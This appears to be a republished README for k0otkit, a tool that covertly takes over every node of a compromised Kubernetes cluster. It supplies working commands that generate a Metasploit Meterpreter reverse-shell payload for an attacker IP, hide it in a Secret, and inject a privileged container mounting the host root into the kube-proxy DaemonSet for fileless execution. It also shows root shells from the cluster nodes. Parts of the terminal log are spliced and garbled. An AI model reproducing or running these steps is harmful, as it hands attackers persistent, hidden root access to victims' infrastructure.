K0Otkit - Universal Post-Penetration Technique Which Could Be Used In Penetrations Against Kubernetes Clusters
k0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters.
With k0otkit, you can manipulate all the nodes in the target Kubernetes cluster in a rapid, covert and continuous way (reverse shell).
k0otkit is the combination of Kubernetes and rootkit.
Prerequisite:
k0otkit is a post-penetration tool, so you have to firstly conquer a cluster, somehow manage to escape from the container and get the root privilege of the master node (to be exact, you should get the admin privilege of the target Kubernetes).
Scenario:
- After Web penetration, you get a shell of the target.
- If necessary, you manage to escalate the privilege and make it.
- You find the target environment is a container (Pod) in a Kubernetes cluster.
- You manage to escape from the container and make it (with CVE-2016-5195, CVE-2019-5736, docker.sock or other techniques).
- You get a root shell of the master node and are able to instruct the cluster with
kubectl
on the master node asadmin
. - Now you want to control all the nodes in the cluster as quickly as possible. Here comes k0otkit!
k0otkit is detailed in k0otkit: Hack K8s in a K8s Way.
Usage
Make sure you have got the root shell on the master node of the target Kubernetes. (You can also utilize k0otkit if you have the admin privilege of the target Kubernetes, though you might need to modify the kubectl
command in k0otkit_template.sh
to use the token or certification.)
Make sure you have installed Metasploit on your attacker host (msfvenom
and msfconsole
should be available).
Deploy k0otkit
Clone this repository:
git clone https://github.com/brant-ruan/k0otkitcd k0otkit/chmod +x ./*.sh
Replace the attacker's IP and port in pre_exp.sh
with your own IP and port:
ATTACKER_IP=192.168.1.107ATTACKER_PORT=4444
Generate k0otkit:
./pre_exp.sh
k0otkit.sh
will be generated. Then run the reverse shell handler:
./handle_multi_reverse_shell.sh
Once the handler is ready, copy the content of k0otkit.sh
and paste it into your shell on the master node of the target Kubernetes, then press <Enter>
to execute it.
Wait a moment and enjoy reverse shells from all nodes :)
P.S. It is not limited how many Kubernetes clusters you manipulate with k0otkit.
Interact with Shells
After the successful deployment of k0otkit, you can interact with any reverse shell as you want:
# within msfconsolesessions 1
Features
- utilize K8s resources and features (hack K8s in a K8s way)
- dynamic container injection
- communication encryption (thanks to Meterpreter)
- fileless
Example
Generate k0otkit:
[email protected]:~/k0otkit$ ./pre_exp.sh+ ATTACKER_IP=192.168.1.107+ ATTACKER_PORT=4444+ TEMP_MRT=mrt+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt++ xxd -p mrt++ tr -d '\n'++ base64 -w 0+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAx MDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh
Run the reverse shell handler:
[email protected]:~/k0otkit$ ./handle_multi_reverse_shell.shpayload => linux/x86/meterpreter/reverse_tcpLHOST => 0.0.0.0LPORT => 4444ExitOnSession => false[*] Exploit running as background job 0.[*] Exploit completed, but no session was created.[*] Started reverse TCP handler on 0.0.0.0:4444msf5 exploit(multi/handler) >
Copy the content of k0otkit.sh
into your shell on the master node of the target Kubernetes and press <Enter>
:
[email protected]:~$ nc -lvnp 10000listening on [any] 10000 ...connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750[email protected]:~# volume_name=cachemount_path=/var/kube-proxy-cachectr_name=kube-proxy-cachebinary_file=/usr/local/bin/kube-proxy-cachepayload_name=cachesecret_name=proxy-cachesecret_data_name=contentctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')# create payload secretcat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -apiVersion: v1kind: Secretmetad ata: name: $secret_name namespace:volume_name=cache[email protected]:~#[email protected]:~# mount_path=/var/kube-p kube-systemtype: Opaquedata: $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgwEOF# assume that ctr_line_num < volume_line_num# otherwise you should switch the two sed commands below# inject malicious container into kube-proxy podkubecroxy-cache[email protected]:~#[email protected]:~# ctr_n ame=kube-proxy-cache[email protected]:~#[email protected]:~# binary_file=/usr/local/bin/kube-proxy-cache[email protected]:~#[email protected]:~# payload_name=cache[email protected]:~#[email protected]:~# secret_name=proxy-cache[email protected]:~#[email protected]:~# secret_data_name=content[email protected]:~#[email protected]:~# ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \ | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \ | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <ST DIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n pr name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \containers:/{print NR}')oxy -o yaml | awk '/[email protected]:~#[email protected]:~# volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')[email protected]:~#[email protected]:~# image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')[email protected]:~#[email protected]:~# # create payload secret[email protected]:~# cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -> apiVersion: v1> kind: Secret> metadata:> name: $secret_name> namespace: kube-system> type: Opaque> data:> $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw> EOFsecret/proxy-cache created[email protected]:~#[email protected]:~# # assume that ctr_line_num < volume_line_num[email protected]:~# # otherwise you should switch the two sed commands below[email protected]:~#[email protected] im-2:~# # inject malicious container into kube-proxy pod[email protected]:~# kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \> | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \> | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\ n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \> | kubectl replace -f -daemonset.extensions/kube-proxy replaced
Wait for reverse shells:
msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106[*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.106:51610) at 2020-11-30 03:30:18 -0500msf5 exploit(multi/handler) > sessionsActive sessions=============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ 192.168.1.106 192.168.1.107:4444 -> 192.168.1.106:51610 (192.168.1.106)
Function 1 Exit & Re-connect:
msf5 exploit(multi/handler) > sessions 1[*] Starting interaction with 1...meterpreter > shellProcess 9 created.Channel 1 created.whoamirootexitmeterpreter > exit[*] Shutting down Meterpreter...[*] 192.168.1.106 - Meterpreter session 1 closed. Reason: User exitmsf5 exploit(multi/handler) >[*] Sending stage (985320 bytes) to 192.168.1.106[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.106:52292) at 2020-11-30 03:32:25 -0500
Function 2 Escape to & Control Node:
msf5 exploit(multi/handler) > sessions 2[*] Starting interaction with 2...meterpreter > cd /var/kube-proxy-cachemeterpreter > lsListing: /var/kube-proxy-cache==============================Mode Size Type Last modified Name---- ---- ---- ------------- ----40755/rwxr-xr-x 4096 dir 2020-03-03 03:21:08 -0500 bin40755/rwxr-xr-x 4096 dir 2020-03-05 22:23:56 -0500 boot40755/rwxr-xr-x 4180 dir 2020-04-09 21:32:10 -0400 dev40755/rwxr-xr-x 4096 dir 2020-04-17 02:31:15 -0400 etc40755/rwxr-xr-x 4096 dir 2020-03-03 03:00:00 -0500 home100644/rw-r--r-- 36257923 fil 2020-03-05 22:23:56 -0500 initrd.img100644/rw-r--r-- 39829184 fil 2020-03-03 03:00:17 -0500 initrd.img.old40755/rwxr-xr-x 4096 dir 2020-04-16 03:52:46 -0400 lib40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 lib6440700/rwx------ 16384 dir 2020-03-03 02:33:19 -0500 lost+found40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:29 -0500 media40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 mnt40755/rwxr-xr-x 4096 dir 2020-04-16 03:59:01 -0400 opt40555/r-xr-xr-x 0 dir 2020-04-09 21:32:01 -0400 proc40700/rwx------ 4096 dir 2020-11-30 04:00:05 -0500 root40755/rwxr-xr-x 1020 dir 2020-11-30 04:04:59 -0500 run40755/rwxr-xr-x 12288 dir 2020-04-16 03:52:46 -0400 sbin40755/rwxr-xr-x 4096 dir 2020-03-03 03:02:37 -0500 snap40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 srv40555/r-xr-xr-x 0 dir 2020-04-14 22:51:06 -0400 sys41777/rwxrwxrwx 4096 dir 2020-11-30 04:10:07 -0500 tmp40755/rwxr-xr-x 4096 dir 2020-04-16 04:42:54 -0400 usr40755/rwxr-xr-x 4096 dir 2020-03-03 02:5 1:25 -0500 var100600/rw------- 6712336 fil 2020-03-05 22:22:58 -0500 vmlinuz100600/rw------- 7184032 fil 2020-03-03 02:33:55 -0500 vmlinuz.old
Via: www.kitploit.com